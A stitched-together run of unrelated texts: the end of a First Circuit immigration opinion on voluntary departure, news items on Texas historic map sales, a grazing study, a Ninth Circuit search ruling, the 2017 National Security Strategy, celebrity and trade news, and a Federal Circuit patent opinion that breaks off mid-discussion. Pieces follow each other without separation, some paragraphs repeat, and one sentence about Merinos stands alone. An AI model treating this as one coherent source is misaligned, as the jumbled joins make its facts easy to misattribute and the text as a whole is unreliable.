When an IJ denies voluntary departure as a matter of discretion, the recantation doctrine does not prevent him from using an immigrant's timely recanted false testimony as a basis for denying relief. One of the seminal recantation-doctrine cases demonstrates this principle precisely. In Matter of M-, the BIA applied the recantation doctrine and found that the immigrant had timely recanted his prior false testimony. 9 I. & N. Dec. at 119. He was, therefore, not barred  from establishing his good moral character, and was statutorily eligible for [voluntary departure]. Id. Nonetheless, the BIA upheld the denial of the immigrant's application for voluntary departure  as a matter of administrative discretion. Id. at 120. While the recantation doctrine made the immigrant statutorily eligible for voluntary departure, it did not prevent the BIA from subsequently denying voluntary departure as a matter of discretion.

Thus, even if the application of the recantation doctrine made Cruz-Orellana statutorily eligible for voluntary departure, her recantation would become only one factor among many for the IJ to consider in weighing the equities of her request for voluntary departure. Since the IJ was not bound by the recantation doctrine in denying voluntary departure to Cruz-Orellana as a matter of discretion, the substance of her claim does not involve a question of law under 8 U.S.C.  1252(a)(2)(D). Instead, she effectively asks us to review the IJ's purely discretionary decision, made after weighing the equities of the situation, to deny her voluntary departure regardless of her statutory eligibility for relief. This is exactly the type of decision that we lack jurisdiction to review.

B. Petitioner Flores

Flores asserts that the IJ violated his due process rights by relying on a police report that contained hearsay in denying him voluntary departure as a matter of discretion. Flores's invocation of the Due Process Clause does not create a constitutional claim for the purpose of 8 U.S.C.  1252(a)(2)(D). We have held repeatedly that the privilege of voluntary departure involves no property interest and no cognizable liberty interest because it is essentially discretionary. Jupiter v. Ashcroft, 396 F.3d 487, 492 (1st Cir. 2005); see also Kandamar v. Gonzales, 464 F.3d 65, 69 (1st Cir. 2006). Since [a] due process claim requires that a cognizable liberty or property interest be at stake, Flores's petition fails to raise a colorable constitutional claim. Kandamar, 464 F.3d at 69 (quoting DaCosta v. Gonzales, 449 F.3d 45, 50 (1st Cir. 2006)). We therefore lack jurisdiction to review the IJ's denial of voluntary departure.

III.

For the foregoing reasons, we dismiss the petitions for want of jurisdiction.

FOOTNOTES

. The record reflects some uncertainty over whether Cruz-Orellana entered the United States in 1989 or 1992. As her date of entry is immaterial to our decision, we will accept arguendo Cruz-Orellana's representation that she entered the United States in 1989.

. The written petitions originally requested several other forms of relief that petitioners dropped before the IJ issued his decision.

. There is some disagreement in the case law over what constitutes a timely recantation. Some courts have focused on the voluntariness of the recantation, while others assess timeliness based on the duration between the false testimony and the recantation. See, e.g., Ruiz-Del-Cid v. Holder, 765 F.3d 635, 640-41 (6th Cir. 2014). As we lack jurisdiction to review the IJ's discretionary decision to deny Cruz-Orellana voluntary departure, we have no occasion to weigh in on the matter.

. The IJ did not expressly address whether Cruz-Orellana was statutorily eligible for voluntary departure, though we could infer a finding of statutory ineligibility based on his determination that Cruz-Orellana was not a person of good moral character for cancellation of removal purposes. See 8 U.S.C.  1229b(b)(1)(b), 1229c(b)(1)(b) (establishing good moral character requirements for both forms of relief). In any event, since the IJ declined to afford Cruz-Orellana voluntary departure as a matter of discretion, his finding regarding statutory eligibility is ultimately immaterial. As discussed infra, IJs have discretion to deny immigrants the privilege of voluntary departure even when they are statutorily eligible for the benefit.

LIPEZ, Circuit Judge.
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Each year around the holidays, the oldest state agency in Texas ramps up sales of high-resolution scanned reproductions of historic maps to help fund conservation of fragile maps and other documents, helping preserve a part of the states unique heritage.

Sales of the more than 45,000 digitized map images, some from original records dating back centuries, have typically peaked every December since the Texas General Land Office began selling prints in 2000 to support its Save Texas History program. Every year, the Land Office tries to spend about $100,000 on conservation of the most vulnerable items in its inventory of 36 million documents.

The map sales, at prices from $20 to $40, generate about $120,000 annually, allowing the agency to reach its conservation goal of spending hundreds or thousands of dollars per item to conserve precious documents without spending taxpayer dollars. Since 2000, the agency has digitized many maps and documents used by surveyors, oil and gas producers and other professionals who can now download them online for free, rather than purchasing copies.

To make up for that loss in revenue, while continuing to support map conservation, the Land Office has promoted sales of its iconic Texas, county and local maps as gifts that are suitable for framing during the holidays.

Maps from the Save Texas History collection in the GLOs archives make a perfect gift for that loved one who treasures the unique history that sets Texans apart, Land Commissioner George P. Bush said last year in a release. When you purchase a Texas map from the General Land Office, you arent just giving a uniquely Texan present for a loved one; you are also investing in future generations of Texans.

Statewide, the five top-selling maps are Stephen F. Austins 1830 rendering of Texas with parts of adjoining states; American cartographer David H. Burrs 1845 Texas map; Texas land agent Jacob De Cordovas 1849 Texas map; the Land Offices Natural Heritage Map from 1986; and mapmaker Carl Flemmings 1844 Texas map. Other popular maps include John Davis commemorative map of the Republic of Texas from 1986 and Bushs Energy Map of Texas from 2015.

In San Antonio, top-selling maps include 1889 and 1895 city maps; a birds-eye illustration of the town in 1873 and an 1887 map of Bexar County by civil engineering draftsman John D. Rullman.

Maps can be viewed at SaveTexasHistory.org. Online and phone orders must be placed before 5 p.m. Wednesday to be delivered by Christmas Day. Call 800-998-4456 to order by phone.

Scott Huddleston is a San Antonio Express-News staff writer. Read more of his stories here. | shuddleston@express-news.net | @shuddlestonSA

COMING WEDNESDAY: Boxer Tony Ayala had tons of potential and squandered it.
The University of Saskatchewan and Nature Conservancy of Canada are leading the project

By Diego Flammini

News Reporter

Farms.com

Western Canadian scientists want to collect in-depth information about how some animals graze.

Researchers from the University of Saskatchewan and Nature Conservancy of Canada (NCC) will monitor how cattle and bison feed along the 13,000-acre Old Man on His Back Ranch.

Bison and cattle will wear GPS collars that track their movements. Researchers will study where the animals go and what they graze on.

Then, the scientists will introduce changes to grazing patterns to study how the adjusted feeding patterns impact the plants and animals native to the area, which has been protected by NCC since 1995.

The team from the university has set up plots throughout the ranch and theyre (tracking) detailed information, Matthew Braun, NCCs manager of conservation science and planning, told Farms.com today. Theyll take soil samples, species compositions, forage productivity samples and other indicators that help us show what kind of birds would like that habitat.

The grasslands in the area have evolved as bison roam. The scientists want to examine how closely they can simulate that evolution.

They also want to demonstrate a positive relationship between agricultural land use and conservation initiatives.

The whole point of this (project) is to see if we can improve the environment for some of the plant and animal species that live on that property, Braun said. In some cases its not good enough to just have grassland (for birds), we need some thats well-grazed and low.

The project is still in its infancy, Braun added.
United States Court of Appeals, Ninth Circuit. UNITED STATES OF AMERICA, Plaintiff-Appellee, v. MICHAEL CHONG, Defendant-Appellant. No. 16-50190 Decided: December 18, 2017

Before: RAWLINSON and N.R. SMITH, Circuit Judges, and KORMAN, ** District Judge.

MEMORANDUM*

In March 2015, two LAPD officers on the lookout for stolen cars found Michael Chong in a parking lot, sitting alone in the front passenger seat of a car with mismatched plates. They ordered him out, and as he complied, he dropped materials from his lap, some falling into the passenger area and some falling onto the lot. The officers told Chong to leave the fallen items alone, frisked him for weapons, and found a master mail key in his pocket. They then gathered the fallen items. These would be summarized in the police report as mail, checks and various paperwork with various names; they included a notebook andin names other than Chong'sfinancial mail, blank and filled-out checks, an agreement for a line of credit, three credit (or debit) cards, two driver's licenses, a California Department of Real Estate identification card, two credit-score reports, and an IRS form W-2. After discovering additional evidence that the car was stolen, the officers arrested Chong and the car's driver. At the station, the driver confessed that she and Chong had been stealing from the mail and fraudulently cashing checks.

The district court ruled that the initial frisk of Chong was illegal, a point the Government does not dispute. Nonetheless, the court primarily denied Chong's motion to suppress the mail key and the material that fell as he got out of the car. Chong pleaded guilty conditionally and was sentenced to twenty-five months in prison. He now appeals the partial denial of the suppression motion. Chong has served his prison sentence and is now serving a three-year term of supervised release.

We reject Chong's argument that he has standing to challenge the search and seizure of any stolen items. He has no standing to challenge the search of a public lot, see, e.g., Florida v. White, 526 U.S. 559, 56566 (1999); or a stolen car, see, e.g., United States v. Pulliam, 405 F.3d 782, 786 (9th Cir. 2005); or stolen items themselves, see, e.g., United States v. Caymen, 404 F.3d 1196, 11991200 (9th Cir. 2005). Arizona v. Hicks, 480 U.S. 321, 32425 (1987), on which Chong relies, reaffirmed an expectation of privacy in the home, not in stolen goods. See Kyllo v. United States, 533 U.S. 27, 3738 (2001). Nor does Chong have standing because the items were originally on his lap: they were not seized from his lap. Rather, he dropped them while following an order that he does not dispute was lawful.

Although Chong does not have standing to challenge the search and seizure of the fallen materials directly, he can still suppress them if they are fruit of the initial, illegal frisk, Nix v. Williams, 467 U.S. 431, 441 (1984). In Chong's view, without the frisk, the police would not have found the mail key; without the mail key and its implication of mail theft, it was likely that the officers would have continued investigating the [car's] plates and paid no attention to the papers its passenger dropped.

This is implausible. Police are inquisitive, if not by temperament and training, then at least in encountering a car that is likely stolen, because stolen cars are frequently used to commit other crimes. Indeed, it was precisely for this reason that the district court found it entirely reasonable under the circumstances for [the officers] to order [Chong] out of the car for their own safety in the first place. United States v. Chong, CR 15-00176-AB, 2015 WL 5156438, at *6 (C.D. Cal. Sept. 2, 2015). On the facts here, even without the key, it is inconceivable that the officers would have paid no attention to the mail, checks, credit cards, and driver's licenses that Chong had begun dropping as he got out of a car with mismatched plates. They effectively seized these items even before the frisk, and the simple act of the officers gathering the items would have begun to reveal their suspicious nature and suggested the need for closer inspection. There is no counterfactual version of this story reflecting what Chong implies (but does not state): that the officers would have simply handed the materials back to him without some kind of examination.

That leaves the key. This is a close question. Although one would not expect the officers to fully inventory Chong's items in the parking lot as they eventually did at the station, we conclude that, in the circumstances, even routine examination of the material at the scene would have provided probable cause to arrest Chong for theft. In turn, as the district court correctly concluded, the officers inevitably would have found the mail key in a post-arrest search. Thus, regardless of the initial frisk's legality, the officers would have found the key because they would have reviewed the fallen materials after Chong dropped them. As the evidence inevitably would have been discovered by independent and lawful means, the district court was correct to deny the motion to suppress on this ground as well. See United States v. Polanco, 93 F.3d 555, 56162 (9th Cir. 1996).

AFFIRMED.

FOOTNOTES

. We discuss only those aspects of the denial that Chong challenges on appeal. The Government does not cross-appeal the partial grant.

. As the district court observed, the traffic violation at issueusing forged or stolen license platesis more indicative of possible criminality than other traffic violations like a broken tail light or speeding. Use of a mismatched license plate creates a strong (and reasonable) presumption that the vehicle, the license plate, or both are stolen. United States v. Chong, CR 15-00176-AB, 2015 WL 5156438, at *6 (C.D. Cal. Sept. 2, 2015).
I am perplexed that we cant definitively say that there is a swing to Merinos on the back of this, which is my concern for the industry, Mr Herrmann said.
Official White House PhotoThe White House yesterday released a national security paper defining U.S. interests and affirming the fight against corruption as a cornerstone of American foreign policy.

The December 2017 National Security Strategy (pdf) said corruption weakens government institutions and allows terrorists and criminals to thrive.

Graft also hurts U.S. interests by putting American companies at a disadvantage, it said.

This was the third National Security Strategy or NSS from the White House since 2010.

The NSS is important. It sets the agenda for the executive branch of the government  the DOJ and SEC, the State Department, the Commerce Department, the Treasury Department, and so on  and it signals foreign policy priorities to Congress and to other countries.

President Obama published his first National Security Strategy in May 2010. It was the first time an Administration linked corruption and human rights in a policy statement.

The 2010 NSS called pervasive corruption a violation of basic human rights and a severe impediment to development and global security.

President Obamas second National Security Strategy in February 2015 didnt repeat the human-rights link to graft. But it said a key goal for the United States was to continue leading the way in the global fight against corruption.

President Trumps 2017 National Security Strategy includes five Priority Actions. One is fighting graft.

Counter Foreign Corruption: Using our economic and diplomatic tools, the United States will continue to target corrupt foreign officials and work with countries to improve their ability to fight corruption so U.S. companies can compete fairly in transparent business climates.

Like the two prior NSS documents, this one also signals the compliance community to expect robust enforcement of Americas main anti-graft tools.

Those include the Foreign Corrupt Practices Act, used to prosecute bribe payers, and Presidential Proclamation 7750, used to impose secret visa bans on bribe-taking foreign officials and their families and friends.

Theres also the Kleptocracy Asset Recovery Initiative. Its a DOJ-led program that started in 2011. The initiative targets crooked overseas rulers and their cronies. It relies on anti-money laundering laws, wire and mail fraud statutes, and criminal and civil forfeiture actions.

The new 55-page NSS warned that foreign companies and state actors use corruption to undermine U.S. interests.

Strategic competitors often exploit rather than discourage corruption and state weakness to extract resources and exploit their populations, the NSS said.

The document said America will deploy economic tools  including sanctions, anti-money-laundering, and anti-corruption measures, and enforcement actions  to deter, coerce, and constrain adversaries.

New technologies can promote transparency and help fight corruption, the Administration said.

We will incorporate innovative technologies in our diplomatic and development programs. For example, digital technologies enable millions to access financial services through their cell phones and can connect farmers to markets. Such technologies can reduce corruption, increase transparency, and help ensure that money reaches its intended destination.

The December 2017 National Security Strategy of the United States is here (pdf).

____

Richard L. Cassin is the publisher and editor of the FCPA Blog.
Hugh Jackman gave up the chance to play James Bond to star in 'The Greatest Showman'.

Hugh Jackman

The 49-year-old actor was once asked if he was interested in portraying the suave spy but declined the opportunity to see if he could've landed the part because he was "worried" about being typecast.

Speaking about the possibility of playing 007, he said: "I wasn't handed it. I think it was, 'Are you interested?'.

"Weirdly, at drama school we'd all kind of muck around and voted on what each other would most likely be if they made it to Hollywood and everyone voted me as a Bond.

"Wolverine has been the greatest gift of my career but it's been a little surprising to me how long I've done it, how many movies, how successful it is and at a certain point how known for that role I was becoming.

"I always wanted to do different things. I wanted to do musicals, I wanted to do Shakespeare and theatre and dramas like 'Prisoners'.

"I just thought the practicality of doing those two behemoths would mean not just that I wouldn't have the opportunity but I worried that it would be sending a message to the business like that's what I want to do, I want to be known for."

'The Greatest Showman' sees Hugh portray P.T. Barnum, who started a legendary circus in the 1860s, and the Hollywood star has recalled going against doctor's orders to sing at his audition - just a day after he underwent a skin cancer operation on his nose.

He said: "I thought there's about a one in 10 chance this movie happens. But we're going for it.

"My doctor had said, 'Do not sing, you've just had 80 stitches in your nose. They really could split apart, you could get an infection', which I'd had before in a similar operation.

"So I was like, 'Don't worry I'm not going to risk that, I'm just going to speak it and someone else will sing it'.

"But the emotion of the song and the moment took over me."

While Hugh has had a busy year - which also saw him reprise his longstanding role of Wolverine in 'Logan' - he is going to relax over the festive period in his native Australia because he is technically "unemployed".

He added to The Sun newspaper: "I'm unemployed right now. My wife loves that I'm unemployed right now but talk to us in about a month.

"I am happy to say I don't know what's next. I'm kind of deliberately creating a little bit of a vacuum in order to just find the next thing.

"I'm back to Oz for Christmas and then I don't know what's next - unique, surreal, I'll admit at times a little frightening, but 90 per cent exciting."
Mark Salling has pleaded guilty to possession of child pornography.

Mark Salling

The former 'Glee' star entered the plea in a Los Angeles federal court on Monday (18.12.17) after striking a plea deal in October which saw prosecutors and the actor agree to ask a judge to sentence him to between four and seven years behind bars.

Salling - who could've faced up to 20 years with a maximum sentence - will be sentenced in March, according to TMZ.

Prosecutors say more than 50,000 child porn images were found in his possession.

Salling's attorney Michael Proctor said in a statement to PEOPLE: "Mark is focused on accepting responsibility and attempting to atone for his conduct."

The 35-year-old actor - who played the part of Noah 'Puck' Puckerman on the popular TV series from 2009 until 2015 - is currently out on bail.

The disgraced TV star was first arrested back in December 2015, when police were given a tip off that he was in possession of images of children being abused.

And following a police investigation, thousands of inappropriate images were ultimately found on his computer.

Subsequently, he was charged with two counts of receiving and possessing images of child sexual abuse in May last year, which meant he was facing the possibility of spending 20 years behind bars.

But in October he entered into a plea deal with California's district attorney.

Under the terms of the agreement, Salling will be subject to 20 years supervised release, and is expected to face strict restrictions on his contact with under-18s.

He will also have to register as a sex offender and pay around $50,000 in restitution to each of his victims.
The European Union (EU) ambassador to Cambodia George Edgar has assured National Union Alliance Chamber of Cambodia (NUACC) president Som Aun that no decision on garment sector sanctions has been taken. Former opposition leader Sam Rainsy and civil society groups called for such sanctions after the Cambodia National Rescue Party was dissolved last month.In a recent meeting with the EU ambassador, Aun requested him not to involve workers in the countrys political issues, according to Cambodian media reports.

The European Union (EU) ambassador to Cambodia George Edgar has assured National Union Alliance Chamber of Cambodia (NUACC) president Som Aun that no decision on garment sector sanctions has been taken. Former opposition leader Sam Rainsy and civil society groups called for such sanctions after the Cambodia National Rescue Party was dissolved last month.#

Edgar assured to convey the unions requests and concerns to EU headquarters in Brussels.The Garment Manufacturers Association in Cambodia had earlier called on international buyers to continue ordering clothes and textile products made in the country over fears that the United States and the EU could halt preferential treatment for Cambodian exports.Three union leaders also sent petitions to the EU and US ambassadors requesting for orders to continue as usual. (DS)

Fibre2Fashion News Desk  India
The Government of India is preparing a standard operating procedure that will be followed while entering into any new free trade agreement (FTA), Union minister of commerce and industry Suresh Prabhu has said. Besides the European Union, the Indian government is currently in discussion with the Canadian and Australian governments for FTA.

When we talk of FTA there are always trade-offs...as a country we have to find how a trade-off can benefit us, Prabhu said at an event organised by the Apparel Export Promotion Council (AEPC).

Informing about the India-EU FTA talks, he said that he had a meeting with the EU minister to discuss various issues. He added that the EU is great market for India for apparel, which is an employment generating sector.

The Government of India is preparing a standard operating procedure that will be followed while entering into any new free trade agreement (FTA), Union minister of commerce and industry Suresh Prabhu has said. Besides the European Union, the Indian government is currently in discussion with the Canadian and Australian governments for FTA.#

Speaking at the same event, textiles minister Smriti Irani said skilling would be among the focus area for the government and assured her ministrys all support to garment manufacturers. We are working on solving all the issues prevailing in the industry, said Irani, adding that the ministry would work on every plight of the sector.

AEPC chairman Ashok Rajani said that exporters used to earlier receive 11.30 per cent incentives under Remission of State Levies (RoSL), but now it has come down to 6.5 per cent. He added that exporters are facing a crisis while shipping their products abroad, especially the EU, which levies 12 per cent duty on Indian cotton while Bangladeshi and Vietnamese cotton are exempt from any duties. (RKS)

Fibre2Fashion News Desk  India
United States Court of Appeals, Federal Circuit. HILL-ROM SERVICES, INC., Appellant v. JOSEPH MATAL, PERFORMING THE FUNCTIONS AND DUTIES OF THE UNDER SECRETARY OF COMMERCE FOR INTELLECTUAL PROPERTY AND DIRECTOR, U.S. PATENT AND TRADEMARK OFFICE, Intervenor 2016-2199 Decided: December 15, 2017

Before O'MALLEY, HUGHES, and STOLL, Circuit Judges. LUKE DAUCHOT, Kirkland & Ellis LLP, Los Angeles, CA, argued for appellant. Also represented by GARRET A. LEACH, BRIAN VERBUS, Chicago, IL. FARHEENA YASMEEN RASHEED, Office of the Solicitor, United States Patent and Trademark Office, Alexandria, VA, argued for intervenor. Also represented by NATHAN K. KELLEY, THOMAS W. KRAUSE.

Hill-Rom Services, Inc. (Hill-Rom) appeals from a final decision in an inter partes reexamination proceeding, in which the Patent Trial and Appeal Board (Board) affirmed an Examiner's rejection of claims 1, 1415, and 3132 of U.S. Patent No. 7,669,263 ('263 patent). See Stryker Corp. v. Hill-Rom Servs., Inc., No. 2015-007927, 2016 WL 1270198 (P.T.A.B. Mar. 31, 2016) (Board Decision). For the following reasons, we reverse in part, vacate in part, and remand.

I. FACTUAL BACKGROUND

A. The '263 Patent

Hill-Rom's '263 patent, titled Mattress Assembly In-cluding Adjustable Length Foot, is directed to a patient support apparatus, such as a hospital bed. The specification explains that prior art hospital beds typically contained, among other things, a frame, a mattress, siderails, and a controller configured to control one or more fea-tures of the bed. '263 patent, col. 1, ll. 4855. The '263 patent, however, purports to provide a more sophisticated system in which various bed functions are controlled by modules that communicate with one another through an internal network. Id. col. 10, ll. 3965; id. col. 29, ll. 3942.

The claimed hospital bed includes a control system, which, in turn, includes various controls, interfaces, sensors, and actuators that communicate via a plurality of modules connected to a network. In one embodiment, the network is a controller area network (CAN) comprising a serial data bus. Id. col. 29, ll. 4651. Modules communicate with each other by transmitting messages on the bus, which rebroadcasts the messages to all other modules on the network. Id. col. 29, ll. 5159. The '263 patent describes this CAN-based system as a masterless system, wherein each module operates substantially autonomously. Id. col. 30, ll. 4043.

As issued, the '263 patent contains twenty claims. During reexamination, however, Hill-Rom amended certain claims and added others. In particular, Hill-Rom amended claim 1 by adding language requiring the control system to periodically verify the functionality of each module, as shown below:

1. A patient-support apparatus comprising

a control system including a serial data bus and a plurality of control modules coupled to the serial data bus, each control module including a microcontroller and a transceiver operable to communicate over the serial data bus by sending a message out on the serial data bus,

wherein the control system periodically verifies the functionality of each module present,

wherein each of the modules is operable to monitor communications on the serial data bus to determine whether to process a particular message.

J.A. 2490 (emphasis added). Amended claim 14 and its dependent claim, claim 15, recite the same periodically limitation as recited in claim 1. J.A. 249091.

Also during reexamination, Hill-Rom added claim 31 and its dependent claim, claim 32. Claim 31, which depends from amended claim 2, requires that the control system comprise a CAN, as well as a module that operates as a master for particular communications over the control system. J.A. 2490; J.A. 2493 (emphasis added).

On appeal, the parties dispute the meaning of the periodically limitation recited in amended claims 1 and 1415, as well as the master module limitation recited in newly added claims 3132.

B. Overview of the Prior Art

The Board affirmed in relevant part the Examiner's rejections of the claims based on several combinations of prior art references. On appeal, however, the parties focus on two references: (1) U.S. Patent No. 5,771,511, to Kummer (Kummer), and (2) Holger Zeltwanger, Design-ing Devices Using CAN and CANopen Buses for Network-ing, Med. Elecs. Mfg. 64 (1999) (Zeltwanger). We therefore limit our review to only those references.

1. Kummer

The Kummer patent is owned by Hill-Rom and is incorporated by reference in the '263 patent. Like the '263 patent, Kummer discloses an adjustable hospital bed comprising a plurality of interconnected modules. Unlike the '263 patent, however, Kummer teaches that its modules are interconnected by a twisted pair network chan-nel in a peer-to-peer configuration. Kummer, col. 5, ll. 2527; '263 patent, col. 29, ll. 4249. Kummer's peer-to-peer network enables each module to communicate directly with another module in the network without the need for a master controller. Kummer, col. 1, ll. 2024.

Kummer also teaches that a diagnostic tool can be used to allow a remote operator to interrogate every module to perform a diagnostic check. Id. col. 8, ll. 1023. Additionally, Kummer discloses that each module is able to perform internal diagnostics, but specifies that such self-diagnostic checks can only be executed [a]fter a module performs its dedicated functioni.e., when the module is not in use. Id. col. 20, ll. 2832.

2. Zeltwanger

Zeltwanger generally discloses a CAN for use in medi-cal equipment. In particular, Zeltwanger employs a standardized serial bus system to develop devices that can be easily linked to other systems. J.A. 4236.

Importantly for this appeal, Zeltwanger describes a standardized communication object called a service data object or SDO. An SDO is a protocol that allows for the transmission of data objects of any size, in contrast to other protocols, which generally restrict data transmission to fewer than eight bytes. J.A. 4235. Zeltwanger explains that its control system can support an SDO for communicating data across the network.

II. PROCEDURAL BACKGROUND

Third-party Stryker Corporation (Stryker) requested inter partes reexamination of most claims of the '263 patent. The Examiner rejected all challenged claims, finding that, inter alia, claim 1 is anticipated by three separate references, including Kummer. The Examiner also found that claims 1, 1415, and 3132 are obvious over Kummer and other references, including Zeltwanger. The Board affirmed in relevant part. See Board Decision, 2016 WL 1270198, at *7, 1014.

In its decision, the Board construed periodically, as recited in amended claims 1 and 1415, to mean both at regular and intermittent or irregular intervals. Id. at *5 (emphases added). In so ruling, the Board rejected Hill-Rom's argument that the claims should be limited to a preferred embodiment described in the patent, in which each module periodically transmits a regular heartbeat message to the other modules. Id. at *56. The Board found that Kummer's internal diagnostic check satisfies the periodically limitation under the Board's construction.

The Board also determined that Zeltwanger's disclo-sure of an SDO satisfies the master module limitation recited in newly added claims 3132, in part because Hill-Rom failed to provide a definition of module that would exclude an SDO. Id. at *11. The Board agreed with the Examiner that a skilled artisan would have found it obvious to make the diagnostic tool of Kummer an SDO module as taught by Zeltwanger. Id.

Hill-Rom appealed the Board's decision to this court, and the parties subsequently reached a settlement agreement pursuant to which Stryker withdrew from the appeal. The Director of the U.S. Patent & Trademark Office (PTO) thereafter intervened under 35 U.S.C.  143. We have jurisdiction under 28 U.S.C.  1295(a)(4)(A).

III. DISCUSSION

Hill-Rom raises two principal arguments on appeal. First, with regard to claims 1 and 1415, Hill-Rom argues that the Board erred by construing periodically to encompass both regular and irregular verification checks. According to Hill-Rom, the term periodically should be limited to regular checks, which Kummer does not disclose. Second, with regard to claims 3132, Hill-Rom argues that the Board erred both by interpreting the master module limitation to encompass non-physical objects, and by finding that Zeltwanger's non-physical SDO is a master module. We address each argument in turn.

A. Claims 1, 1415

1. Construction of periodically

During inter partes reexamination, claims are given their broadest reasonable construction consistent with the specification. In re Rambus, Inc., 753 F.3d 1253, 1255 (Fed. Cir. 2014). We review the Board's claim construc-tions de novo and its underlying factual determinations involving extrinsic evidence for substantial evidence. Teva Pharm. USA, Inc. v. Sandoz, Inc., 135 S. Ct. 831, 84142 (2015).

As described above, the Board construed the periodically limitation to mean both at regular and intermittent or irregular intervals. Board Decision, 2016 WL 1270198, at *5. While the parties vigorously debate whether the claims cover regular or irregular verification checks, they do not clearly explain what those terms mean in the context of the claimed invention or in the context of the rejections at issue in this appeal. Nor were they able to do so when pressed at oral argument.

In any event, to the extent the Board's construction does not limit the claims to verification checks that occur at equally spaced time intervals (e.g., every 10 minutes), we agree with that construction. As the Board correctly determined, the plain and ordinary meaning of the term periodically connotes repetition, but does not require that the repeated action occur at regularly spaced time intervals. Id. at *45. The claims' recitation of this term is entirely consistent with its plain meaning, and the patentee's decision to amend certain other claims to require regular periodicity underscores this broad under-standing. Claim 14, for example, requires that the control system periodically verif[y] the functionality of each module. J.A. 2490. The claim was amended during reexamination, however, to add language requiring that the modules be operable to transmit, at regular intervals, a status message over the network. Id. (emphasis added). The presence of both periodically and at regular intervals in amended claim 14 strongly suggests that the term periodically, standing alone, is not limited to diagnostic checks that occur at regular intervals. See CAE Screenplates Inc. v. Heinrich Fiedler GmbH & Co. KG, 224 F.3d 1308, 1317 (Fed. Cir. 2000) (In the absence of any evidence to the contrary, we must presume that the use of these different terms in the claims connotes different meanings.).

To the extent the Board's construction is broad enough to encompass verification checks that occur randomly (i.e., on an ad hoc basis), however, we disagree with that construction. The verification checks must repeat at spaced time intervals, though, not necessarily at equally spaced intervals. The '263 patent is replete with exam-ples that support this conclusion. The specification describes, for example, an embodiment in which each module periodic[ally] transmits a heartbeat message to allow the control system to periodically verify the module's functionality:

One feature of [the] network is the periodic transmission of each module of a heartbeat message or status message to the bus for receipt by each of the remaining modules. In this manner, control system periodically verifies the functionality of each module in [the] system, and is able to identify a non-operational module by the absence of the module's heartbeat message.

'263 patent, col. 30, ll. 4350 (emphases added, reference numerals omitted). This passage states that the modules repeatedly transmit a status message at specified time intervals, and without prompting from the control system or any other external source. The absence of such a message for a particular module signals to the control system that the module is non-functional. Indeed, as explained at column 30, lines 43 to 50, if the modules' status messages were not repeated without the modules being prompted, the control system would not know when to receive a status message, and it would therefore be unable to determine whether the absence of a message indicates a problem. Thus, while we agree with the Board that the claims are not limited to the regularly repeated heartbeat verification check described in this passage, the passage's description of periodically at least suggests that the modules must repeatedly transmit their status messages at specified time intervals, and without the modules being prompted.

Other passages of the specification are consistent with this embodiment. The specification states, for example, that a monitor activity step is a step that is periodically executed during the turn assist operation, that a pressure control system periodically measure[s] the pressure of seat section air zone to make sure that it is within the desired ranges, and that pressure sensors periodically sense the pressure in one or more of controlled air zones of the mattress. Id. col. 81, ll. 6566; id. col. 83, ll. 6063; id. col. 96, ll. 1822 (emphases added). Each of these descriptions suggests that an action is repeated without prompting from an external source. The specification also states that a timer is used to periodically sample temperature. Id. col. 42, ll. 3437 (emphasis added). The requirement that a timer be used for this purpose implies that the temperature is sampled at specified time intervals. There would be no need for a timer if the temperature were sampled randomly.

Finally, our interpretation is consistent with the prosecution history. During reexamination, Hill-Rom amended claim 1 by adding the periodically limitation. Contemporaneous with that amendment, Hill-Rom dis-tinguished Kummer on the basis that Kummer's internal diagnostic checks occur only when the modules are no longer performing a function. J.A. 249596. Hill-Rom also emphasized during the proceeding that Kummer teaches an ad hoc or intermittent self-diagnostic process and fails to disclose that any self-diagnosis is done on any periodic schedule. J.A. 286264. These statements, made when the periodically limitation was added to claim 1, are relevant as part of the '263 patent's prosecution history. See Northpeak Wireless, LLC v. 3COM Corp., 674 F. App'x 982, 986 n.1 (Fed. Cir. 2016) (State-ments made during reexamination procedures before the PTO are part of the prosecution history. (citing Krippelz v. Ford Motor Co., 667 F.3d 1261, 1266 (Fed. Cir. 2012))). Consistent with the specification, these statements sug-gest that periodically cannot mean ad hoc or intermittent.

Thus, while the Board's construction is correct, it is incomplete. We find that, while the '263 patent claims are not limited to verification checks performed at equally spaced time intervals, they do not cover random or ad hoc verification checks, or checks that occur only when the modules are prompted to transmit status messages. This is the broadest reasonable interpretation that is consistent with the claims, specification, and file history. See In re Smith Int'l, Inc., 871 F.3d 1375, 1383 (Fed. Cir. 2017).

2. Anticipation and Obviousness Findings

As described above, the Board determined that Kummer anticipates claim 1 and renders claim 1 and 1415 obvious in view of the other prior art of record. We review the Board's anticipation determination, as well as the Board's factual findings underlying its obviousness determination, for substantial evidence. Rambus, 753 F.3d at 1256; In re Adler, 723 F.3d 1322, 1325 (Fed. Cir. 2013). We review the Board's ultimate legal conclusion of obviousness, however, de novo. Adler, 723 F.3d at 1325.

We find that the Board erred in determining that Kummer discloses the periodically limitation. Kummer discloses only that a diagnostic check can be performed, and even then, only [a]fter [the] module performs its dedicated function. Kummer, col. 20, ll. 2835 (emphases added); see also id. col. 2, ll. 2024 (The network is capable of internally diagnosing hardware and software failures and recommending a corrective action. (emphasis added)). To the extent Kummer's diagnostic checks are performed at all, they are performed randomly or on an ad hoc basis, and after the modules are prompted. As we explained above, such verification checks fall outside the scope of the claims. The Board's finding that Kummer satisfies this claim limitation is therefore unsupported by substantial evidence.

Because Stryker did not argue that Kummer inherently discloses the periodically limitation, and because the Board made no factual findings that would support such a conclusion, we reverse the Board's determination that Kummer anticipates claim 1 of the '263 patent. See Home Semiconductor Corp. v. Samsung Elecs. Co., 701 F. App'x 1006, 101314 (Fed. Cir. 2017) (reversing where the appellee argued that a prior art reference inherently disclosed a particular claim limitation but failed to so argue below, and the Board did not make factual findings that would support that conclusion).

Similarly, with regard to its obviousness finding for claim 1, the Board relied only on Kummer for its disclo-sure of this limitation and did not find that a skilled artisan would have modified Kummer to perform repeated diagnostic checks. See Board Decision, 2016 WL 1270198, at *9. And, as the PTO acknowledges, claims 1415 stand or fall with claim 1. Intervenor's Br. 7. We therefore reverse the Board's determination that Kummer renders obvious claims 1 and 1415 of the '263 patent.

B. Claims 3132

As described above, the Board affirmed the Examiner's rejections of claims 3132 based on the Examiner's finding that Zeltwanger's SDO satisfies the module that operates as a master limitation recited in those claims. Zeltwanger's SDO is a non-physical communication protocol, akin to the language used for transmission of communications on a network. Although the Board did not construe the master module limitation, Hill-Rom argues that the Board improperly interpreted that term to include non-physical objects, such that the Board erred in finding that Zeltwanger's SDO is a master module.

